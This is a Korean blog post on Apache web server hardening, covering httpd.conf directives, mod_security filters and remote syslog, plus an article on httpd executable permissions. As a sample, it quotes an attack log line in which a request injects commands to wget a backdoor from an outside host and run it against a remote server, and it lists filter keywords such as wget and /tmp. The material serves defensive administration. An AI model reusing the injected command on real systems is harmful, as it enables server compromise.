아파치 웹 서버의 보안 설정

2011. 12. 17. 12:02개발/서버

아파치 웹 서버의 보안 설정

웹 서버로서 가장 많이 사용되는 아파치를 이용할 때, 주 설정 파일인 'httpd.conf'에서 몇 가지 보안 설정을 해 주는 것만으로도 웹 보안을 상당히 강화할 수 있다. 권장할만한 몇 가지 대표적인 설정을 살펴보도록 하자.

일반적인 웹 서버는 서비스 포트로 1023 이하 포트인 80번을 사용하기 때문에 반드시 루트 권한으로 프로세스를 가동해야 한다. 그러나 일단 80번을 리슨한 다음에 실제 서비스를 제공하는 것은 루트가 아닌 루트가 포크한 일반 사용자 권한으로 서비스하도록 해야 한다. 만약 그렇지 않은 경우 루트 권한으로 HTTPD가 작동하게 된다. 이런 경우, 이를테면 악의적인 CGI 스크립트를 업로드해 실행하면, 루트 권한으로 작동하게 되므로 심각한 보안 문제를 유발할 수 있게 될 것이다. 따라서 아파치나 노바디 같은 일반 사용자 권한으로 포크해 가동하도록 한다.

·ServerTokens Prod


다음은 모 업체의 웹 서버로 텔넷으로 80번에 접속 후 HEAD 메소드로 접속 시도한 결과다. 웹 서버는 유닉스 계열의 1.3.29이고 모듈로는 PHP 4.3.4를 사용하고 있다는 것을 알 수 있다.


# telnet www.xxxxxx.co.kr 80
Trying 210.xxx.xx.xx...
Connected to www.xxxxxxx.co.kr


여기에서 데몬의 버전이 무엇이라는 것은 현재 해당 버전이 어떤 취약성을 가지고 있고, 어떤 공격을 하면 위험하다는 것을 알려주는 것과 다를 바 없다. 버전만 안다면 이런 정보는 인터넷에서 쉽게 조회가 가능하기 때문이다. 따라서 굳이 외부에 버전 정보와 같은 민감한 정보를 유출할 필요가 없으며, 가급적 보이지 않도록 속이거나 다른 정보로 보이도록 위조하는 것이 좋다.


이를 위해서 아파치에서는 'ServerTokens'이라는 지시자를 제공하고 있다. 가능한 옵션은 Prod, Min, OS, Full 등이 있는데, 아무런 옵션을 지정하지 않았을 경우에는 모든 정보가 보이는 Full이 된다. OS->Min->Prod로 갈수록 더 적은 정보를 보여주므로 당연히 Prod를 사용하는 것을 권장한다. 만약 Prod를 사용할 경우에는 과 같이 아파치라는 정보만 보인다.


만약 아파치라는 정보도 보이지 않도록 하거나 다른 정보로 보이도록 하려면, 아파치 컴파일 시 소스를 수정하거나 모드보안(modsecurity)이라는 보안 모듈을 사용해 설정을 위조하는 방법도 있다. 다음과 같이 설정할 경우 아파치라고 보이지 않고 지정한 문자열로 보인다.


SecServerSignature "Microsoft-IIS/5.0"


/이라는 사이트에서 제공하는 아리랑(arirang)이라는 툴을 이용하면 많은 IP 대역을 빠르게 스캔해 각 IP에서 어떤 웹 서버 버전을 사용하는지 보여주므로 각자 자신의 네트워크를 스캔해 보기 바란다.

·메소드 제한 설정

<Directory />
<LimitExcept GET POST>
       Order allow,deny
       deny from all
</LimitExcept>
</Directory>


이 설정은 서버에서 제공되는 메소드를 제한하는 설정을 보여주고 있다. 기본적으로 웹 서버에서는 많은 메소드를 제공하는데, 보안 관점에서 불필요한 메소드를 허용할 필요가 없으므로 반드시 필요한 몇 개의 필수 메소드만 제공하는 것이 좋을 것이다.


일반적으로, GET과 POST, HEAD만 제공하면 되므로, 이렇게 설정하면 모든 디렉토리에 대해 GET(HEAD도 포함됨)과 POST 메소드를 제공하며, 이외의 메소드는 제공하지 않게 된다.

·접근 통제 설정


만약 특정 디렉토리 이하에 대해서, 특정한 IP에서만 접근을 허용하고자 할 때는 다음과 같이 설정할 수 있다.


<Directory /home/ionthenet/>
  Order deny, allow
  Deny from all
  Allow from 192.168.1 
</Directory>


이 경우 /home/ionthenet/ 디렉토리 이하는 192.168.1.x 대역에 대해서만 접근 가능하고, 이외의 대역에서는 접근이 불가능한데, 여기에서 Deny from이나 Allow from의 순서는 중요하지 않다. Order 뒤에 있는 순서가 매우 중요하다. 즉, 아파치에서는 Order 구문에서 뒤에 나오는 것을 우선시하는데, 여기에서는 allow가 뒤에 있으므로 먼저 allow를 체크하고 이후에 deny를 체크한다. 따라서 우선 192.168.1. 대역은 허용하고 이외의 접속은 모두 거부하게 되는 것이다. 이는 관리자 모드나 사내 인트라넷 등을 활용할 때 유용하다.

·서버 사이드 파일 설정


다음으로는 웹 사이트 개발 과정에서 자주 실수하는 것인데, PHP 등과 같은 서버 사이드 소스 파일을 임시로 dbconn.old나 dbconn.bak와 같이 수정해 웹에서 직접 소스로 접근이 가능하게 되는 경우가 있는데, 이런 경우 의도치 않게 심각한 보안 문제를 유발할 수 있다.이런 경우에 대비해 다음과 같이 설정하면 확장자가 bak 이나 old 파일의 경우 웹 서버 자체에서 접근을 차단하므로 일단 안심할 수 있을 것이다.


<Files ~ ".bak$">
  Order allow,deny
  Deny from all
</Files>

<Files ~ ".old$">
  Order allow,deny
  Deny from all
</Files>


또는 다음과 같이 특정 확장자를 PHP와 같은 서버 사이드 언어로 설정해 웹 서버에 소스를 그대로 보이지 않고 실행하도록 하는 방법도 좋다.


AddType application/x-httpd-php .php .inc .bak .old .c 



·대용량 메모리 제한 설정


다음은 웹을 통해 대용량의 메모리를 사용하는 프로세스를 제한하는 설정으로, 모든 디렉토리에 대해 사용 가능한 메모리를 20MB로 제한, /home/ionthenet/ 디렉토리 이하에 대해서는 예외적으로 50MB 정도로 제한하게 된다.


사실상 메모리를 소모하는 간단한 루틴을 무한루프를 돌게 해 웹 서버를 다운시키는 것은 그리 어려운 것이 아니므로 사전에 적절한 제한을 해 두는 것이 좋다.

RLimitMEM 20000000
<Directory /home/ionthenet/>
RLimitMEM 50000000
</Directory>



·모드보안 설정


마지막으로 최근 자주 등장하는 공격 형태로서 게시판 등과 같은 웹 애플리케이션의 취약성을 이용, 인증을 우회해 웹을 통해 시스템 명령어를 실행하는 경우다. 


이는 다음과 같은 웹 서버 로그를 보면 알 수 있는데, 아래의 경우 웹을 통해 WGET을 실행해 백도어를 /TMP에 업로드 후 직접 실행한다는 것을 알 수 있다.


200.96.xx.xxx - - [26/xxx/2005:06:34:30 +0000] "GET /cgi-bin/awstats/awstats.pl?xxx=%20/tmp;
wget%20http://www.nokiacxxxx.cz/dcha0s/dc;chmod%20777%20dc;./dc%20cyber.yar.ru%208080;%00
HTTP/1.1" 200 554 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)"


그러나 아파치 자체에서는 이런 형태의 공격을 차단할 수 있는 방법은 없다. 단지 모드보안(modsecurity)라는 별도의 보안 모듈을 이용할 경우만 가능하다. 따라서 모드보안를 설치한 후, 다음의 설정을 'httpd.conf'에 추가하면 URI 문자열에 미리 지정된 WGET이나 TMP 등이 보이면 접속을 거부하고 해당 정보를 로그에 남긴 후 500 에러를 낸다. 공격자들이 흔히 사용하는 시스템 명령어를 미리 필터에 지정해 두면 미봉책이나마 웹을 통한 공격을 사전에 차단하는 효과를 기대할 수 있다.


<IfModule mod_security.c>
  SecFilterDefaultAction "deny,log,status:500"
  SecFilterSelective THE_REQUEST "wget"
  SecFilterSelective THE_REQUEST "lynx"
  SecFilterSelective THE_REQUEST "/tmp"
</IfModule>



원격의 로깅(logging) 서버를 이용하는 방법


로그(log)의 중요성은 아무리 강조해도 지나치지 않을 만큼 시스템과 네트워크 관리에 있어서 큰 비중을 차지한다. 가급적 각 시스템의 로그를 각각 저장하지 않고 별도의 로그서버를 둬 한 곳에서 통합관리를 해야 한다.


그 이유로는 우선 사용의 편의성을 들 수 있다. 한두 대의 시스템이 아닐 경우 일일이 로그인해 정보를 확인하는 것은 거의 불가능하기 때문이다.


다른 이유로 보안적인 문제를 들 수 있다. 대부분의 공격자는 관리자 권한 획득에 성공한 후 로그 파일에서 자신의 접속 정보를 삭제하거나 아예 로그 파일을 삭제하는 경우가 많다. 하지만 별도의 원격지 로그 서버에 로그를 저장할 경우 로그 서버까지 공격해 관리자 권한을 획득하지 않는 한 상대적으로 안전하기 때문이다.


자, 그럼 유닉스 계열의 서버에서 로그 서버를 어떻게 구축해야 할까?


먼저 로그를 보낼 각각의 서버에서 다음과 같이 설정한다.


#/etc/syslog.conf 파일

authpriv.*                   @192.168.1.5


이렇게 설정할 경우 보안 또는 인증과 관련된 로그를 로컬 시스템에 저장하지 않고 원격지의 192.168.1.5 서버에 저장하게 된다. 만약 원격지 로그 서버뿐만 아니라 로컬에도 같이 저장하려면 다음과 같이 설정하면 된다.


#/etc/syslog.conf 파일

authpriv.*                   @192.168.1.5
authpriv.*                   /var/log/secure


또는 authpriv.* 대신 *.* 를 지정하면 모든 정보를 로그에 남기게 될 것이다.
설정을 변경한 후에는 다음과 같이 실행하여 syslog를 재가동하도록 한다.


# /etc/rc.d/init.d/syslog restart


다음에는 로그를 받을 로그 서버(즉, 192.168.1.5)에서의 설정 방법이다.
이는 간단히 다음과 같은 파일만 수정하면 된다.


# /etc/rc.d/init.d/syslog 파일

start)
       echo -n "Starting system logger: "
       # we don't want the MARK ticks
       daemon syslogd -m 0 -h
==>
start)
       echo -n "Starting system logger: "
       # we don't want the MARK ticks
       daemon syslogd -m 0 -r -h


즉, syslogd의 데몬 옵션 중에 -r 옵션만 추가하면 되는데, 여기에서 -r의 의미는 syslogd 서비스를 통해 원격지에서 로그를 받는다는 것으로, 이 설정을 해 주지 않으면 원격지에서 전송되는 로그를 받을 수 없으니 주의하기 바란다.


이후 설정을 변경한 후에는 다음과 같이 실행해 syslog를 재가동한다.

# /etc/rc.d/init.d/syslog restart

이제 모든 설정이 끝났다.


이후 다음과 같이 TCPdump를 실행하면 전송되는 패킷을 확인할 수 있다.

# tcpdump port 514
09:36:22.393806 eth0 < www51.syslog > logserver.syslog: udp 47 (DF)
09:36:22.522422 eth0 < www66.syslog > logserver.syslog: udp 47 (DF)
09:36:22.877417 eth0 < www58.syslog > logserver.syslog: udp 46 (DF)

참고로 IP가 보이지 않고 호스트 이름이 보이는 것은 서버의 /etc/hosts 파일에 다음과 같이 등록했기 때문이다.


# /etc/hosts

192.168.1.5      logsevrer
192.168.1.51     www51
192.168.1.66     www66
192.168.1.57     www58


이후 /var/log/secure 파일을 보면 다음과 같이 각 서버로부터 전송되는 인증 정보가 로그에 쌓이는 것을 알 수 있다.


# tail -f /var/log/secure
Nov 22 09:38:51 www66 ipop3d[19836]: connect from 221.151.163.57
Nov 22 09:38:51 www58 ipop3d[28856]: connect from 221.151.163.57
Nov 22 09:38:52 www51 ipop3d[14722]: connect from 59.11.76.100
Nov 22 09:38:52 www51 ipop3d[14723]: connect from 211.206.124.39

==============================================================================================

아파치 실행파일(httpd)에 대한 퍼미션


*주)
이 글은 아파치 서버 관리자를 대상으로, 아파치 실행 파일(이하 "httpd")의 보안(퍼미션?)
내용을 다루고 있습니다.
어쩌면 대수롭지 않은 문제일 수 도 있지만 왠지....
제가 아는 범위에서는 아래와 같은 내용에 대해서 언급한 글이 없어서 올려봅니다.
조언을 주실분은 언제든지 환영합니다.

내용상 간혹(?) 경어를 생략했습니다. 양해해 주시길 바랍니다.


*요점 정리
httpd는 일반적으로 퍼미션이 755이다. 즉 root가 아닌 다른 유저로도 어떤 조건에서는 얼마든지
아파치를 실행 가능하다는 의미이다.
아파치 제공 문서(http://www.apache.org/docs/misc/security_tips.html)에서는 511로 설정하는
예가 있다. 그러나 제가(이하"필자")가 권장하는 퍼미션은 755도 511도 아닌 700이나 500이다.
즉 특별한 경우가 아닌 이상 다른 유저가 실행하지 못하도록 하는 것이 좋을 듯 싶다.

*주의)
혹시나 해서 실제로 웹호스팅업체의 계정(쉘 권한)을 가지고 있는 분은 테스트하지 마시길
바랍니다. 해당 웹호스팅 업체로부터 매우 혼날 듯.....................T.T


목차
1. 배경
2. 실전테스트
  2-1. 전제 및 목표
  2-2. 아파치 실행파일(httpd)과 설정파일(httpd.conf) 찾기
  2-3. httpd.conf파일 복사 및 편집
  2-4. 유저권한으로 아파치 실행 및 테스트
3. 퍼미션 조정 및 생각해볼 만한 것들
4. 기타


1. 배경

오래전에 아파치 서버를 두개 설치하여 테스트할 즈음에는 그냥 간과했던 문제인것 같습니다.
얼마전(?) 필자가 운영하는 게시판에 "low numbered" 포트에 대한 설명을 하던 중 재테스트해
본 결과를 이제서야 재인지하게 되었군요.

보안 및 퍼미션에 대해서 조금이라도 인지하고 있는 분이라면 httpd 퍼미션을 어떻게 설정하고
운영하는지 자못 궁금합니다.(이미 알고 대체하고 있는 분도 분명 있으리라 믿습니다.)
확인차, 실제로 어느 웹호스팅 업체에서는 퍼미션이 755이더군요.....T.T

주)"low numbered port"
맨 페이지에 의하면 1024보다 작은 포트를 의미한다. 이 포트는 오직 root 레벨에서 만 접근가능
하다고 나와 있다. 포트번호 1024는 low numbered port가 아니므로 root가 아닌 다른 유저권한으로
접근이 가능하다.

그럼 실제로 어떤 일이 벌어지는지 실전테스트 해보자.
(특히 사용자 많은 시스템에서는 주의깊게)

2. 실전 테스트

2-1. 전제 및 목표

일반적으로 유닉스/리눅스는 많은 계정이 있기 때문에 대부분 쉘권한이 주어진 경우가 많다.
(쉘권한이 없는 유저도 있다.)
여기에서는 쉘권한을 가진 "san2"라는 유저가 root의 도움없이 1024 포트로 아파치를 실행하여
자신의 홈페이지를 구축하고자 한다.

  $ whoami
  san2
  $ pwd
  /home/san2/temp
  $


2-2. 아파치 실행파일(httpd)과 설정파일(httpd.conf) 찾기

일반적으로 아파치 httpd는

  /usr/sbin/httpd
  /usr/local/apache/bin/httpd
  /usr/local/etc/httpd/bin/httpd
  또는 서버관리자가 따로 설치한 위치

에 httpd가 존재한다.
우리는 웹서버 데몬이름을 httpd라고 많이 알고 있으나, 무조건 httpd라는 이름으로 웹서버
데몬이 존재하리라고 단정지을 수 없다. 왜냐하면 아파치 데몬 같은 경우에는 소스로 컴파일
할때 얼마든지 이 데몬이름(--target=서비스이름)을 바꿀 수 있기 때문이다.

만약 위의 3곳에서 찾질 못한다면 find 명령으로 찾아볼 수 도 있고, /etc/services 파일을
열어보고 80포트에 어떤 서비스 이름이 있는지 확인한 후 찾아볼 수 도 있다.
또한

  $ ps -ef | grep httpd

(/bin/ps 파일에 퍼미션이 막혀있지 않다면) 명령으로 어느 위치에서 실행되고 있는지 확인해
볼 수 있다.

마찬가지로 httpd.conf 파일도 쉽게 찾을 수 있을 것이다.


2-3. httpd.conf파일 복사 및 편집

설정파일을 손수 입력하여 작성할 수도 있지만 여간 복잡한 파일이 아닐 수 없다.
일단 위치를 알고 있는 설정파일을 자신의 홈디렉토리로 httpd-san2.conf 파일로 복사하자.
(설정파일 이름을 서로 구별하기 위해서 "httpd-san2.conf"로 정했음)

  $ pwd
  /home/san2/temp
  $ cp /usr/local/apache/conf/httpd.conf httpd-san2.conf
  $

복사한 httpd-san2.conf 파일을 열어서 다음과 같이 몇군데 만 수정한다.
(필요한 부분만 요약하면)

  LockFile /home/san2/temp/httpd.lock
  PidFile /home/san2/temp/httpd.pid
  ScoreBoardFile /home/san2/temp/httpd.scoreboard
  Port 1024 #<-- 1024또는 그 이상의 포트 번호로
  User san2
  Group nobody #<-- 경우에 따라서 설정
  ErrorLog /home/san2/temp/error_log
  CustomLog /home/san2/temp/access_log common
  기타 DocumentRoot 또는 가상호스트 섹션 등등 수정이 필요한 곳

수정한 설정파일이 문법에 맞는지 확인해 봅니다.

  $ /usr/local/apache/bin/httpd -t /home/san2/temp/httpd-san2.conf
  Syntax OK
  $

2-4. 유저권한으로 아파치 실행 및 테스트

그럼 한번 "san2"라는 유저가 위의 설정파일을 중심으로 1024 포트로 아파치 데몬을 실행해 보자.
httpd 실행 파일이 /usr/local/apache/bin/httpd에 있고, ServerRoot가 /usr/local/apache이라면,

  $ /usr/local/apache/bin/httpd -f /home/san2/temp/httpd-san2.conf
  $

와 같이 명령을 주면 아파치 데몬을 하나 더 띄울 수 있다.
아마 아무 에러가 없다면 데몬이 가동중 일겁니다.
만약 에러가 난다면 위에서 수정한 내용 중에서 san2 유저가 접근할 수 없는 위치에 각 파일을
설정한 경우입니다.

참고로 "-f" 옵션은 설정파일의 위치를 지정한 옵션이며 시스템 절대경로나 ServerRoot를 기준으로
상대경로로도 입력 가능합니다.

직접 한번

  $ ps -ef | grep httpd
  root     29626     1  0 Dec09 ?        00:00:02 /usr/local/apache/bin/httpd
  nobody   31182 29626  0 12:16 ?        00:00:00 /usr/local/apache/bin/httpd
  nobody   31183 29626  0 12:16 ?        00:00:00 /usr/local/apache/bin/httpd
  nobody   31184 29626  0 12:16 ?        00:00:00 /usr/local/apache/bin/httpd
  nobody   31185 29626  0 12:16 ?        00:00:00 /usr/local/apache/bin/httpd
  nobody   31186 29626  0 12:16 ?        00:00:00 /usr/local/apache/bin/httpd
  san2     31210     1  0 12:31 ?        00:00:00 /usr/local/apache/bin/httpd -f /
  san2     31211 31210  0 12:31 ?        00:00:00 /usr/local/apache/bin/httpd -f /
  san2     31212 31210  0 12:31 ?        00:00:00 /usr/local/apache/bin/httpd -f /
  san2     31213 31210  0 12:31 ?        00:00:00 /usr/local/apache/bin/httpd -f /
  san2     31214 31210  0 12:31 ?        00:00:00 /usr/local/apache/bin/httpd -f /
  san2     31215 31210  0 12:31 ?        00:00:00 /usr/local/apache/bin/httpd -f /
  $

로 확인해 보거나

  http://HOSTNAME:1024/

로 접속해 보면 또다른 웹페이지가 보일 것입니다.

아주 간단하지요?

만약 위의 수정한 설정파일에서 포트번호를 1024보다 작은 포트를 선택하면, 예를 들어

  Port 1000

으로 설정했다면, 에러로그 파일에 다음과 같은 내용을 볼 수 있을 것입니다.

  [Sun Dec 10 12:22:00 2000] [crit] (13)허가 거부됨: make_sock: could not bind to port 1000

이는 1024보다 작은 포트는 오직 root만이 접근할 수 있다는 의미입니다.
그럼 1024 포트로 실행 중인 아파치를 Down 시켜 봅시다.
간단하지요 PID의 권한이 san2이므로 얼마든지 가능하지요.

  $ ls -l httpd.pid
  -rw-r--r--   1 san2     san2            6 Dec 10 12:31 httpd.pid
  $
  $ kill `cat httpd.pid`
  $
  $ ps -ef | egrep "san2(.+)httpd"
  $

(/bin/kill 파일에 퍼미션이 막혀 있다면 Down시킬 수 없겠네요....T.T 다른 방법은?)


3. 퍼미션 조정 및 생각해볼 만한 것들

앞에서 테스트해 보았듯이 계정사용자에게 쉘권한이 있고, httpd의 위치를 알고 있고, 또한
사용자에게 httpd 실행권한이 있다면 얼마든지 웹서버를 다른 포트로 실행할 수 있다는 것을 알
수 있었다.

좀 섬짓한(?) 일이군요.......T.T(왜 이제야 알게 되었는지.........)

따라서 필자가 권장하는 퍼미션은 root외 다른 유저가 실행할 수 없는 퍼미션으로 조정해 주는
것이 후한(?)을 없애는 한가지 방법인 듯 하군요.

  # chmod go-rwx httpd
  또는
  # chmod o-x httpd

어떤 후한(?)이 있을 까요?
극단적인 예이기는 하지만, StartServer수를 많이 설정해서 시스템 자원을 고갈시킬 수도 있을
것이고, 쉘스크립트를 작성해서 아파치 서버가 다운될 때까지 계속 1000개 이상 띄울 수도 있을
것이고......생각해 보면 더....

이렇게 배짱 두둑한(?) 유저가 있을까요?
있다면 서버관리자는 곤욕을 치러야하겠지요.


4. 기타

어떻게 생각해 보면 큰 문젯거리도 아닐 수도 있습니다.
그런데 왜 아파치 httpd 파일에 다른 유저가 실행할 수 있도록 기본(?) 설정되어 있는지
알 수가 없군요...

다른 이유가 있을까요?
(서버관리자 측면에서는 불리한 경우라서....생각해 봅니다.)

 

'개발 > 서버' 카테고리의 다른 글

아파치 로그분석  (0) 2011.12.17
아파치 로그관리 cronolog  (0) 2011.12.17
ipconfig /flushdns  (0) 2011.12.13
공개 네트워크 모니터링 툴 [Ethereal]  (0) 2011.12.13
vsftp  (0) 2011.12.05